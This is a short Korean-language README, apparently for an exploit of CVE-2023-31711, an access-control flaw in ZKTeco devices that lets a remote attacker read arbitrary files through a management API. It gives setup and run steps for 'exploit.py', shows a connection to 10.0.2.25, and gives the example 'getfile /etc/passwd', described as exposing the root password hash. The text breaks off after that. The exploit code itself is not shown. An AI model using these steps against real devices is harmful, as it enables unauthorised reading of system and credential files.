CVE-2023-31711

CVE-2023-31711 ZKTECO의 부적절한 접근 제어로 인해 원격 공격자가 관리 API를 통해 모든 파일을 읽을 수 있습니다. 필요한 모듈 설치 ZKTEco 디렉토리 내에서: $ pip install -r ./pyzatt/requirementsdev.txt 익스플로잇 실행 ZKTEco 디렉토리 내에서: $ python exploit.py Connected to 10.0.2.25 Cmd getfile 예시: getfile /etc/passwd: 루트 비밀번호 해시 노출 getfile...